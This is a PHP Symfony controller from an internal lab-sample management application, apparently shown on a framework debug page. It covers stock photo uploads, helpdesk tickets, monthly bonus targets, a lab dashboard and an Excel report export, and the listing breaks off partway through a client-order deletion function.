src/Controller/DefaultController.php line 366

Open in your IDE?
  1. <?php
  3. namespace App\Controller;
  5. use App\Dto\MinExportCountryRelationPayload;
  6. use App\Entity\AuBatch;
  7. use App\Entity\CatRequest;
  8. use App\Entity\ClientParcel;
  9. use App\Entity\DISQBatch;
  10. use App\Entity\ElSample;
  11. use App\Entity\Exports;
  12. use App\Entity\FABatch;
  13. use App\Entity\FeedEntry;
  14. use App\Entity\FInventory;
  15. use App\Entity\Helpdesk;
  16. use App\Entity\ICPBatch;
  17. use App\Entity\ICPRun;
  18. use App\Entity\Inventory;
  19. use App\Entity\Invoice;
  20. use App\Entity\Log;
  21. use App\Entity\Moists;
  22. use App\Entity\MonthlyBonus;
  23. use App\Entity\Orders;
  24. use App\Entity\Params;
  25. use App\Entity\PRun;
  26. use App\Entity\RRun;
  27. use App\Entity\Stock;
  28. use App\Entity\StockManagement;
  29. use App\Entity\User;
  30. use App\Service\AuBatchManager;
  31. use App\Service\ExportCountryRelationService;
  32. use DateTime;
  33. use Doctrine\ORM\EntityManagerInterface;
  34. use Doctrine\ORM\QueryBuilder;
  35. use Doctrine\ORM\Query;
  36. use Doctrine\ORM\Tools\Pagination\Paginator;
  37. use http\Client;
  38. use phpDocumentor\Reflection\Types\Null_;
  39. use Symfony\Component\HttpFoundation\JsonResponse;
  40. use Symfony\Component\HttpFoundation\Request;
  41. use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
  42. use Symfony\Component\Routing\Annotation\Route;
  43. use Symfony\Component\HttpFoundation\Response;
  44. use Symfony\Component\HttpFoundation\RedirectResponse;
  45. use Symfony\Component\Serializer\Encoder\JsonEncoder;
  46. use Symfony\Component\Serializer\Encoder\XmlEncoder;
  47. use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
  48. use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
  49. use Symfony\Component\Serializer\Serializer;
  50. use Symfony\Component\HttpFoundation\ResponseHeaderBag;
  51. use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
  52. use Symfony\Component\HttpKernel\Exception\HttpExceptionInterface;
  53. use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
  54. use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security;
  55. use PhpOffice\PhpSpreadsheet\Spreadsheet;
  56. use PhpOffice\PhpSpreadsheet\Writer\Xlsx;
  57. use PhpOffice\PhpSpreadsheet\Writer\Xls;
  58. use PhpOffice\PhpSpreadsheet\Style\Fill;
  59. use PhpOffice\PhpSpreadsheet\Style\Border;
  60. use PhpOffice\PhpSpreadsheet\Style\Alignment;
  61. use Symfony\Component\HttpFoundation\StreamedResponse;
  62. use Symfony\Component\HttpFoundation\File\UploadedFile;
  63. use Symfony\Component\HttpFoundation\File\Exception\FileException;
  64. use Symfony\Component\Filesystem\Filesystem;
  65. use Symfony\Component\String\Slugger\SluggerInterface;
  68. class DefaultController extends AbstractController
  69. {
  70. const FINALIZE_MAX_RH_CUSTOM_BUTTON_VALUE = 0.987;
  71. const FINALIZE_AVG_RH_CUSTOM_BUTTON_VALUE = 0.987;
  72. /**
  73. * @var EntityManager
  74. */
  75. protected $em;
  77. protected $translator;
  79. protected $passwordEncoder;
  81. public function __construct(EntityManagerInterface $entityManager,UserPasswordEncoderInterface $passwordEncoder)
  82. {
  83. $this->em = $entityManager;
  84. $this->passwordEncoder = $passwordEncoder;
  85. }
  87. private function canManageStockPhotos(): bool
  88. {
  89. $user = $this->getUser();
  91. return $user instanceof User && in_array('ROLE_SUPER', $user->getRoles(), true);
  92. }
  94. private function uploadStockPhoto(UploadedFile $file, SluggerInterface $slugger, string $prefix): string
  95. {
  96. $filesystem = new Filesystem();
  97. $directory = $this->getParameter('stock_images_directory');
  98. $filesystem->mkdir($directory);
  100. $originalFilename = pathinfo($file->getClientOriginalName(), PATHINFO_FILENAME);
  101. $safeFilename = (string) $slugger->slug($originalFilename);
  102. $extension = $file->guessExtension() ?: $file->getClientOriginalExtension() ?: 'bin';
  103. $filename = sprintf('%s-%s-%s.%s', $prefix, $safeFilename ?: 'photo', uniqid(), $extension);
  105. try {
  106. $file->move($directory, $filename);
  107. } catch (FileException $exception) {
  108. throw new \RuntimeException('Unable to upload stock photo.', 0, $exception);
  109. }
  111. return $filename;
  112. }
  114. private function removeStockPhotoFile(?string $filename): void
  115. {
  116. if (!$filename) {
  117. return;
  118. }
  120. $filepath = $this->getParameter('stock_images_directory') . '/' . $filename;
  122. if (is_file($filepath)) {
  123. (new Filesystem())->remove($filepath);
  124. }
  125. }
  127. private function handleStockPhotoUpdate(Request $request, Stock $entry, SluggerInterface $slugger): void
  128. {
  129. if (!$this->canManageStockPhotos()) {
  130. return;
  131. }
  133. if ($request->request->get('delete_item_photo')) {
  134. $this->removeStockPhotoFile($entry->getItemPhoto());
  135. $entry->setItemPhoto(null);
  136. }
  138. if ($request->request->get('delete_package_photo')) {
  139. $this->removeStockPhotoFile($entry->getPackagePhoto());
  140. $entry->setPackagePhoto(null);
  141. }
  143. $itemPhoto = $request->files->get('item_photo');
  144. if ($itemPhoto instanceof UploadedFile) {
  145. $this->removeStockPhotoFile($entry->getItemPhoto());
  146. $entry->setItemPhoto($this->uploadStockPhoto($itemPhoto, $slugger, 'stock-item'));
  147. }
  149. $packagePhoto = $request->files->get('package_photo');
  150. if ($packagePhoto instanceof UploadedFile) {
  151. $this->removeStockPhotoFile($entry->getPackagePhoto());
  152. $entry->setPackagePhoto($this->uploadStockPhoto($packagePhoto, $slugger, 'stock-package'));
  153. }
  154. }
  156. private function ensureCurrentMonthExists()
  157. {
  158. $currentDate = new \DateTime();
  159. $currentMonth = (int)$currentDate->format('n');
  160. $currentYear = $currentDate->format('Y');
  162. // Check if current month exists
  163. $existingBonus = $this->getDoctrine()
  164. ->getRepository(MonthlyBonus::class)
  165. ->findOneBy([
  166. 'MonthNo' => $currentMonth,
  167. 'year' => $currentYear
  168. ]);
  170. if (!$existingBonus) {
  171. // Get the most recent bonus record
  172. $lastBonus = $this->getDoctrine()
  173. ->getRepository(MonthlyBonus::class)
  174. ->findOneBy([], ['year' => 'DESC', 'MonthNo' => 'DESC']);
  176. if (!$lastBonus) {
  177. // No records exist, create current month with default target
  178. $newBonus = new MonthlyBonus();
  179. $newBonus->setMonthNo($currentMonth);
  180. $newBonus->setMonthName($currentDate->format('F'));
  181. $newBonus->setYear($currentYear);
  182. $newBonus->setSampleNumber(200);
  183. $newBonus->setActive(true);
  185. $this->em->persist($newBonus);
  186. $this->em->flush();
  187. return;
  188. }
  190. // Get the target from last bonus
  191. $sampleTarget = $lastBonus->getSampleNumber();
  193. // Create all missing months from last existing month to current month
  194. $startDate = new \DateTime($lastBonus->getYear() . '-' . $lastBonus->getMonthNo() . '-01');
  195. $startDate->modify('+1 month'); // Start from next month after last existing
  197. while ($startDate <= $currentDate) {
  198. $monthNo = (int)$startDate->format('n');
  199. $year = $startDate->format('Y');
  201. // Check if this month already exists
  202. $exists = $this->getDoctrine()
  203. ->getRepository(MonthlyBonus::class)
  204. ->findOneBy([
  205. 'MonthNo' => $monthNo,
  206. 'year' => $year
  207. ]);
  209. if (!$exists) {
  210. $newBonus = new MonthlyBonus();
  211. $newBonus->setMonthNo($monthNo);
  212. $newBonus->setMonthName($startDate->format('F'));
  213. $newBonus->setYear($year);
  214. $newBonus->setSampleNumber($sampleTarget);
  215. $newBonus->setActive(false); // Set all to inactive first
  217. $this->em->persist($newBonus);
  218. }
  220. $startDate->modify('+1 month');
  221. }
  223. $this->em->flush();
  225. // Now deactivate ALL months and activate only the current month
  226. $allBonuses = $this->getDoctrine()
  227. ->getRepository(MonthlyBonus::class)
  228. ->findAll();
  230. foreach ($allBonuses as $bonus) {
  231. if ($bonus->getMonthNo() == $currentMonth && $bonus->getYear() == $currentYear) {
  232. $bonus->setActive(true);
  233. } else {
  234. $bonus->setActive(false);
  235. }
  236. }
  238. $this->em->flush();
  239. }
  240. }
  242. /**
  243. * @IsGranted("ROLE_USER")
  244. * @Route("/recent", name="recent")
  245. */
  246. public function recent()
  247. {
  248. return $this->render('cats/recent.html.twig');
  249. }
  250. //=====================================================================================================================================================================================<
  251. /**
  252. * @IsGranted("ROLE_USER")
  253. * @Route("/helpdesk", name="helpdesk")
  254. */
  255. public function helpdesk()
  256. {
  257. $tickets = $this->getDoctrine()->getRepository(Helpdesk::class)->findTicketsSorted();
  259. return $this->render('cats/helpdesk.html.twig', ['tickets' => $tickets]);
  260. }
  262. /**
  263. * @IsGranted("ROLE_USER")
  264. * @Route("/helpdesk/add", name="add_ticket", methods={"POST"})
  265. */
  266. public function addTicket(Request $request, EntityManagerInterface $entityManager) : JsonResponse
  267. {
  268. $data = json_decode($request->getContent(), true);
  269. $ticket = (new Helpdesk())
  270. ->setUser(!empty($data['user']) ? $data['user'] : 'Anonymous')
  271. ->setTitle($data['title'])
  272. ->setIssue($data['issue'])
  273. ->setType($data['type'])
  274. ->setStatus('Open')
  275. ->setPriority('Low')
  276. ->setDateAdded(new \DateTime())
  277. ->setDateModified(new \DateTime());
  279. $entityManager->persist($ticket);
  280. $entityManager->flush();
  282. return new JsonResponse(['message' => 'Ticket created successfully!'], JsonResponse::HTTP_CREATED);
  283. }
  285. /**
  286. * @IsGranted("ROLE_USER")
  287. * @Route("/helpdesk/delete/{id}", name="delete_ticket", methods={"DELETE"})
  288. */
  289. public function deleteTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
  290. {
  291. // Check if ticket exists
  292. if (!$ticket) {
  293. return new JsonResponse(['error' => 'Ticket not found'], 404);
  294. }
  296. $entityManager->remove($ticket);
  297. $entityManager->flush();
  299. return new JsonResponse(['message' => 'Ticket deleted successfully'], 200);
  300. }
  302. // Fetch the ticket data by ID
  303. /**
  304. * @IsGranted("ROLE_USER")
  305. * @Route("/helpdesk/edit/{id}", name="helpdesk_edit", methods={"GET"})
  306. */
  307. public function editTicket(Helpdesk $ticket, EntityManagerInterface $entityManager) : JsonResponse
  308. {
  309. if (!$ticket) {
  310. return new JsonResponse(['error' => 'Ticket not found'], JsonResponse::HTTP_NOT_FOUND);
  311. }
  313. // Return ticket data as JSON response
  314. return new JsonResponse([
  315. 'data' => [
  316. 'id' => $ticket->getId(),
  317. 'user' => $ticket->getUser(),
  318. 'title' => $ticket->getTitle(),
  319. 'issue' => $ticket->getIssue(),
  320. 'type' => $ticket->getType(),
  321. 'status' => $ticket->getStatus(),
  322. 'priority' => $ticket->getPriority(),
  323. 'deadline' => $ticket->getDeadline() ? $ticket->getDeadline()->format('Y-m-d') : null
  324. ]
  325. ]);
  326. }
  328. // Update ticket information
  329. /**
  330. * @IsGranted("ROLE_USER")
  331. * @Route("/helpdesk/edit/{id}", name="helpdesk_update", methods={"POST"})
  332. */
  333. public function updateTicket(Helpdesk $ticket, Request $request, EntityManagerInterface $entityManager) : JsonResponse
  334. {
  335. if (!$ticket) {
  336. return new JsonResponse(['error' => 'Ticket not found'], 404);
  337. }
  339. $data = json_decode($request->getContent(), true);
  341. // Update ticket fields
  342. $ticket->setUser($data['user'])
  343. ->setTitle($data['title'])
  344. ->setIssue($data['issue'])
  345. ->setType($data['type'])
  346. ->setStatus($data['status'])
  347. ->setPriority($data['priority'])
  348. ->setDeadline($data['deadline'] ? new \DateTime($data['deadline']) : null)
  349. ->setDateModified(new \DateTime());
  351. if ($data['status'] === 'Closed (Solved)' || $data['status'] === 'Closed (Rejected)'){
  352. $ticket->setDateFinished(new \DateTime());
  353. }
  355. $entityManager->flush();
  357. return new JsonResponse(['message' => 'Ticket updated successfully'], 200);
  358. }
  359. //=====================================================================================================================================================================================<
  360. /**
  361. * @IsGranted("ROLE_USER")
  362. * @Route("/", name="dashboard")
  363. * @param Request $request
  364. * @return Response $response
  365. */
  366. public function index(Request $request)
  367. {
  368. if (in_array("ROLE_LABUSER",$this->getUser()->getRoles())){
  369. // $messages = $this->getDoctrine()->getRepository(FeedEntry::class)->findAll();
  370. $this->ensureCurrentMonthExists();
  371. $month = $request->get("month") ?? null;
  372. $year = $request->get("year") ?? null;
  373. if ($month !=null && $year !=null){
  374. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  375. 'year' => "$year",
  376. "MonthNo" => "$month"
  377. ]);
  378. } else {
  379. $bonuses = $this->getDoctrine()->getRepository(MonthlyBonus::class)->findOneBy([
  380. "active" => "1"
  381. ],[
  382. 'id' => 'DESC'
  383. ]);
  384. }
  385. // $qb instanceof QueryBuilder
  386. $qb = $this->em->createQueryBuilder();
  387. $qb->select('count(t.id)');
  388. $qb->from(Inventory::class, 't');
  389. $qb->add('where', "t.dateMilled between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  390. // $qb->where('t.dateFinished > 2020-09-18');
  391. $qb->setMaxResults('1');
  392. $milled = $qb->getQuery()->getSingleScalarResult();
  394. // $qb instanceof QueryBuilder
  395. $qb = $this->em->createQueryBuilder();
  396. $qb->select('count(t.id)');
  397. $qb->from(Inventory::class, 't');
  398. $qb->add('where', "t.dateFinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  399. // $qb->where('t.dateFinished > 2020-09-18');
  400. $qb->setMaxResults('1');
  401. $result = $qb->getQuery()->getSingleScalarResult();
  403. // $qb instanceof QueryBuilder
  404. $qb = $this->em->createQueryBuilder();
  405. $qb->select('count(t.id)');
  406. $qb->from(Moists::class, 't');
  407. $qb->add('where', "t.DateArchived between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  408. // $qb->where('t.dateFinished > 2020-09-18');
  409. $qb->setMaxResults('1');
  410. $moists = $qb->getQuery()->getSingleScalarResult();
  412. $qb1 = $this->em->createQueryBuilder();
  413. $qb1->select('t');
  414. $qb1->from(FABatch::class, 't');
  415. $qb1->add('where', "t.datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  416. $anotherresult = $qb1->getQuery()->getResult();
  417. $loginfo= [];
  418. $loginfo2= [];
  419. $batchesdaily = [];
  420. $batchesdaily2 = [];
  421. $anotherresult2 = 0;
  422. $anotherresult4 = 0;
  423. $tasks= [];
  424. foreach ($anotherresult as $x){
  425. array_push($loginfo, $x->getDateFinished()->format('j'));
  426. $sql = "SELECT count(id) FROM fabatch WHERE datefinished between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDateFinished()->format('d') . " 23:59:59'";
  427. $stmt = $this->em->getConnection()->prepare($sql);
  428. $anotherresult2=$stmt->executeQuery()->fetchAllAssociative();
  429. $batchesdaily[$x->getDateFinished()->format('j')] = array_values(array_shift($anotherresult2))[0];
  430. }
  432. $qb3 = $this->em->createQueryBuilder();
  433. $qb3->select('t');
  434. $qb3->from(ICPBatch::class, 't');
  435. $qb3->add('where', "t.date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-01' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-31 23:59:59'");
  436. $anotherresult3 = $qb3->getQuery()->getResult();
  437. foreach ($anotherresult3 as $x){
  439. array_push($loginfo2, $x->getDate()->format('j'));
  440. $sql = "SELECT count(id) FROM icpbatch WHERE date between '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') ."' and '". $bonuses->getYear() ."-" . $bonuses->getMonthNo() . "-". $x->getDate()->format('d') . " 23:59:59'";
  441. $stmt = $this->em->getConnection()->prepare($sql);
  442. $anotherresult4=$stmt->executeQuery()->fetchAllAssociative();
  443. $batchesdaily2[$x->getDate()->format('j')] = array_values(array_shift($anotherresult4))[0];
  444. }
  446. // $fortasks = $this->getDoctrine()->getRepository(PRun::class)->findBy([], ['id'=>'DESC'], 1500);
  447. // $fortasks2 = $this->getDoctrine()->getRepository(RRun::class)->findBy([], ['id'=>'DESC'], 8000);
  449. $tasks['WeighQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Weigh Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Weigh Q']));
  450. $tasks['FAQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'FA Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'FA Q']));
  451. $tasks['CUPQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'CUP Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'CUP Q']));
  452. $tasks['DISQ']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'DIS Q'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'DIS Q']));
  453. $tasks['Confirm']= count($this->getDoctrine()->getRepository(RRun::class)->findBy(['status' => 'Confirm?'])) + count($this->getDoctrine()->getRepository(PRun::class)->findBy(['status' => 'Confirm?']));
  455. // $tasks['WeighQ']=0;
  456. // $tasks['FAQ']=0;
  457. // $tasks['CUPQ']=0;
  458. // $tasks['DISQ']=0;
  459. // $tasks['Confirm']=0;
  460. // $names = array("WeighQ","FAQ","CUPQ","DISQ","Confirm");
  462. // foreach ($fortasks2 as $x){
  463. // /* @var RRun $x */
  464. // $status = str_replace([' ', '?'], '', $x->getStatus());
  465. //
  466. // if (in_array($status, $names)){
  467. // $tasks[$status] = $tasks[$status] + 1;
  468. // }
  469. // }
  470. //
  471. // foreach ($fortasks as $x){
  472. // /* @var PRun $x */
  473. // $status = str_replace([' ', '?'], '', $x->getStatus());
  474. //
  475. // if (in_array($status, $names)){
  476. // $tasks[$status] = $tasks[$status] + 1;
  477. // }
  478. // }
  480. $loginfo = array_unique($loginfo);
  481. $loginfo2 = array_unique($loginfo2);
  482. $batchesdaily3 = [];
  484. $batchesdaily = !$batchesdaily ? $batchesdaily = [1] : $batchesdaily;
  485. $batchesdaily2 = !$batchesdaily2 ? $batchesdaily2 = [1] : $batchesdaily2;
  487. for ($x=1;$x<= ((max(array_keys($batchesdaily)) > max(array_keys($batchesdaily2))) ? max(array_keys($batchesdaily)) :max(array_keys($batchesdaily2)));$x++){
  488. $batchesdaily3[$x]=[ (array_key_exists($x,$batchesdaily) ? $batchesdaily[$x] : 0) , (array_key_exists($x,$batchesdaily2) ? $batchesdaily2[$x] : 0) ];
  489. }
  490. foreach ($batchesdaily3 as $key => $x){
  491. if ($x[0] == 0 and $x[1] == 0){
  492. unset($batchesdaily3[$key]);
  493. }
  494. }
  496. return $this->render('cats/dashboard.html.twig', [
  497. // 'messages' => $messages,
  498. 'bonuses' => $bonuses,
  499. 'data' => $result,
  500. 'data23' => $anotherresult,
  501. 'loginfo' => $loginfo,
  502. 'batchesdaily' => $batchesdaily,
  503. 'test2' => $anotherresult2,
  504. 'icp' => $anotherresult3,
  505. 'icp2' => $batchesdaily2,
  506. 'tasks' => $tasks,
  507. 'shaggin' => $batchesdaily3,
  508. 'milled' => $milled,
  509. 'moists' => $moists
  510. ]);
  511. } else if (in_array("ROLE_CLIENT",$this->getUser()->getRoles())){
  512. $user = $this->getUser();
  513. $country = $user->getCountry();
  514. //$parcels = $user->getClientParcels();
  515. $parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
  516. 'client' => $user
  517. ],[
  518. 'dateadded' => 'DESC'
  519. ]);
  520. return $this->render('cats/clientdashboard.html.twig', [
  521. 'parcels' => $parcels
  522. ]);
  523. } else {
  524. $user = $this->getUser();
  525. $country = $user->getCountry();
  526. //$parcels = $user->getClientParcels();
  527. $parcels = $this->getDoctrine()->getRepository(ClientParcel::class)->findBy([
  528. 'client' => $user
  529. ],[
  530. 'dateadded' => 'DESC'
  531. ]);
  532. return $this->render('cats/dashboard.html.twig', [
  533. 'parcels' => $parcels
  534. ]);
  535. }
  536. }
  538. /**
  539. * @Security("is_granted('ROLE_SUPER')")
  540. * @Route("/dashboard/export", name="dashboard_export")
  541. */
  542. public function dashboardExport(Request $request): Response
  543. {
  544. $month = (int)($request->get("month") ?? date('n'));
  545. $year = (int)($request->get("year") ?? date('Y'));
  547. // Add date range support
  548. $dateFrom = $request->get("date_from");
  549. $dateTo = $request->get("date_to");
  551. if ($dateFrom && $dateTo) {
  552. $startDate = $dateFrom . " 00:00:00";
  553. $endDate = $dateTo . " 23:59:59";
  554. $fileName = 'CAT_Report_' . str_replace('-', '', $dateFrom) . '_to_' . str_replace('-', '', $dateTo) . '.xlsx';
  555. $reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('M d, Y', strtotime($dateFrom)) . ' to ' . date('M d, Y', strtotime($dateTo));
  556. } else {
  557. $startDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-01";
  558. $endDate = "$year-" . str_pad($month, 2, '0', STR_PAD_LEFT) . "-31 23:59:59";
  559. $fileName = 'CAT_Report_' . $year . '_' . str_pad($month, 2, '0', STR_PAD_LEFT) . '.xlsx';
  560. $reportTitle = 'CATALYTIC SAMPLE SUMMARY - ' . date('F', mktime(0, 0, 0, $month, 1)) . ' ' . $year;
  561. }
  563. // Main data query
  564. $sql = "
  565. SELECT
  566. i.id AS `ID`,
  567. DATE_FORMAT(i.dateofreceipt, '%Y-%m-%d %H:%i:%s') AS `Date Added`,
  568. DATE_FORMAT(i.date_finished, '%Y-%m-%d %H:%i:%s') AS `Date Finished`,
  569. i.sample_type AS `Type`,
  570. i.sample_sub_type AS `Subtype`,
  571. i.sample_name AS `Sample Reference`,
  572. i.country AS `Country`,
  573. i.exportno AS `Export #`,
  574. o.orderno AS `Assigned Order`,
  575. i.xrfpt AS `XRF PT`,
  576. i.xrfpd AS `XRF PD`,
  577. i.xrfrh AS `XRF RH`,
  578. i.icppt AS `ICP PT`,
  579. i.icppd AS `ICP PD`,
  580. i.icprh AS `ICP RH`,
  581. i.analysis_status AS `Analysis Status`,
  582. COUNT(DISTINCT r.id) AS `Run Count`,
  583. GROUP_CONCAT(DISTINCT r.rrunref ORDER BY r.id SEPARATOR ', ') AS `Run Refs`
  584. FROM
  585. inventory i
  586. LEFT JOIN
  587. rrun r ON r.assigned_sample_id = i.id
  588. LEFT JOIN
  589. orders o ON i.assigned_order_id = o.id
  590. WHERE
  591. i.analysis_status = 'Completed'
  592. AND i.date_finished BETWEEN ? AND ?
  593. GROUP BY i.id
  594. ORDER BY i.date_finished DESC
  595. ";
  597. $results = $this->em->getConnection()->executeQuery($sql, [
  598. $startDate, $endDate
  599. ])->fetchAllAssociative();
  601. // Summary by Sample Type
  602. $summarySQLWithRuns = "
  603. SELECT
  604. i.sample_type,
  605. COUNT(DISTINCT i.id) as total_samples,
  606. COUNT(DISTINCT r.id) as total_runs
  607. FROM
  608. inventory i
  609. LEFT JOIN
  610. rrun r ON r.assigned_sample_id = i.id
  611. WHERE
  612. i.analysis_status = 'Completed'
  613. AND i.date_finished BETWEEN ? AND ?
  614. GROUP BY i.sample_type
  615. ORDER BY i.sample_type
  616. ";
  618. $summaryResults = $this->em->getConnection()->executeQuery($summarySQLWithRuns, [
  619. $startDate, $endDate
  620. ])->fetchAllAssociative();
  622. // Create Spreadsheet
  623. $spreadsheet = new Spreadsheet();
  625. // Sheet 1: Main Data
  626. $sheet1 = $spreadsheet->getActiveSheet();
  627. $sheet1->setTitle('Sample Data');
  629. if (!empty($results)) {
  630. // Headers
  631. $headers = array_keys($results[0]);
  632. $sheet1->fromArray($headers, null, 'A1');
  634. // Style headers
  635. $headerStyle = $sheet1->getStyle('A1:' . $sheet1->getHighestColumn() . '1');
  636. $headerStyle->getFont()->setBold(true);
  637. $headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
  638. $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
  639. $headerStyle->getAlignment()->setHorizontal(Alignment::HORIZONTAL_CENTER);
  641. // Data
  642. $sheet1->fromArray($results, null, 'A2', true);
  644. // Center all data cells
  645. $lastRow = count($results) + 1;
  646. $lastColumn = $sheet1->getHighestColumn();
  647. $sheet1->getStyle('A2:' . $lastColumn . $lastRow)
  648. ->getAlignment()
  649. ->setHorizontal(Alignment::HORIZONTAL_CENTER);
  651. // Auto-size columns
  652. foreach (range('A', $sheet1->getHighestColumn()) as $col) {
  653. $sheet1->getColumnDimension($col)->setAutoSize(true);
  654. }
  655. }
  657. // Sheet 2: Summary
  658. $sheet2 = $spreadsheet->createSheet();
  659. $sheet2->setTitle('Summary');
  661. $row = 1;
  663. // Build summary table
  664. $sheet2->setCellValue('A' . $row, $reportTitle);
  665. $sheet2->getStyle('A' . $row)->getFont()->setBold(true)->setSize(14);
  666. $row += 2;
  668. // Headers
  669. $sheet2->fromArray(['Sample Type', 'Total Samples', 'Total Runs'], null, 'A' . $row);
  670. $headerStyle = $sheet2->getStyle('A' . $row . ':C' . $row);
  671. $headerStyle->getFont()->setBold(true);
  672. $headerStyle->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FF4472C4');
  673. $headerStyle->getFont()->getColor()->setARGB('FFFFFFFF');
  674. $row++;
  676. // Data rows
  677. $totalSamples = 0;
  678. $totalRuns = 0;
  679. foreach ($summaryResults as $result) {
  680. $sheet2->fromArray([
  681. $result['sample_type'],
  682. $result['total_samples'],
  683. $result['total_runs']
  684. ], null, 'A' . $row);
  685. $totalSamples += (int)$result['total_samples'];
  686. $totalRuns += (int)$result['total_runs'];
  687. $row++;
  688. }
  690. $row++;
  692. // Totals
  693. $sheet2->fromArray([
  694. 'TOTALS',
  695. $totalSamples,
  696. $totalRuns
  697. ], null, 'A' . $row);
  698. $sheet2->getStyle('A' . $row . ':C' . $row)->getFont()->setBold(true)->setSize(12);
  699. $sheet2->getStyle('A' . $row . ':C' . $row)->getFill()->setFillType(Fill::FILL_SOLID)->getStartColor()->setARGB('FFD9D9D9');
  701. // Auto-size columns
  702. foreach (range('A', 'C') as $col) {
  703. $sheet2->getColumnDimension($col)->setAutoSize(true);
  704. }
  706. // Generate Excel file
  707. $writer = new Xlsx($spreadsheet);
  709. $temp_file = tempnam(sys_get_temp_dir(), $fileName);
  710. $writer->save($temp_file);
  712. $response = new Response(file_get_contents($temp_file));
  713. $response->headers->set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
  714. $response->headers->set('Content-Disposition', 'attachment; filename="' . $fileName . '"');
  715. unlink($temp_file);
  717. return $response;
  718. }
  719. //=====================================================================================================================================================================================<
  720. /**
  721. * @IsGranted("ROLE_USER")
  722. * @Route("/eucats", name="eucats")
  723. */
  724. public function eucats()
  725. {
  726. $user = $this->getUser();
  727. $country = $user->getCountry();
  728. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  729. // 'country' => ["UK","FR","DE","IT","SC","IT1","IT2","IT3","NL"],
  730. // 'sampleType' => ["Model","Models"]
  731. // ],[
  732. // 'id' => 'DESC'
  733. // ]);
  735. return $this->render('cats/eucats.html.twig', [
  736. 'samples' => '$samples',
  737. ]);
  738. }
  739. //=====================================================================================================================================================================================<
  740. /**
  741. * @IsGranted("ROLE_USER")
  742. * @Route("/eucatreqs", name="eucatreqs")
  743. */
  744. public function eucatreqs()
  745. {
  746. $user = $this->getUser();
  747. $country = $user->getCountry();
  748. $reqs=$this->getDoctrine()->getRepository(CatRequest::class)->findBy([
  749. ],[
  750. 'id' => "DESC"
  751. ]);
  752. return $this->render('cats/eucatreqs.html.twig', [
  753. 'reqs' => $reqs
  754. ]);
  755. }
  756. //=====================================================================================================================================================================================<
  757. /**
  758. * @IsGranted("ROLE_USER")
  759. * @Route("/models", name="models")
  760. */
  761. public function models()
  762. {
  763. $usercountry = $this->getUser()->getCountry();
  764. $newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
  765. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  766. // 'country' => $usercountry,
  767. // 'sampleType' => ["Model","Models"]
  768. // ],[
  769. // 'id' => 'DESC'
  770. // ]);
  772. return $this->render('cats/client.html.twig', [
  773. 'searchlists' => $newvar,
  774. ]);
  775. }
  776. //=====================================================================================================================================================================================<
  777. /**
  778. * @IsGranted("ROLE_USER")
  779. * @Route("/client", name="client")
  780. */
  781. public function client()
  782. {
  783. // $usercountry = $this->getUser()->getCountry();
  784. // $samples = $this->getDoctrine()->getRepository(Inventory::class)->findBy([
  785. // 'country' => $usercountry
  786. // ],[
  787. // 'id' => 'DESC'
  788. // ]);
  789. // $samples2=[];
  790. // if (in_array("WC",$usercountry)){
  791. // $samples2 = $this->em
  792. // ->createQuery(
  793. // "SELECT a FROM App\Entity\Inventory a WHERE a.exportno LIKE '%M%' ORDER BY a.id DESC"
  794. // )
  795. // ->getResult();
  796. // }
  797. // $samples = array_merge($samples,$samples2);
  798. // return $this->render('cats/client.html.twig', [
  799. // 'samples' => $samples,
  800. // ]);
  801. $usercountry = $this->getUser()->getCountry();
  802. $newvar = $this->em->getRepository(Inventory::class)->getSearchLists();
  803. return $this->render('cats/client.html.twig', [
  804. 'searchlists' => $newvar,
  805. ]);
  806. }
  807. //=====================================================================================================================================================================================<
  808. /**
  809. * @IsGranted("ROLE_USER")
  810. * @Route("/deleteclientorder/{id}", name="deleteclientorder")
  811. * @param int $id
  812. * @param Request $request
  813. * @return Response $response
  814. */
  815. public function deleteclientorder(int $id, Request $request)
  816. {
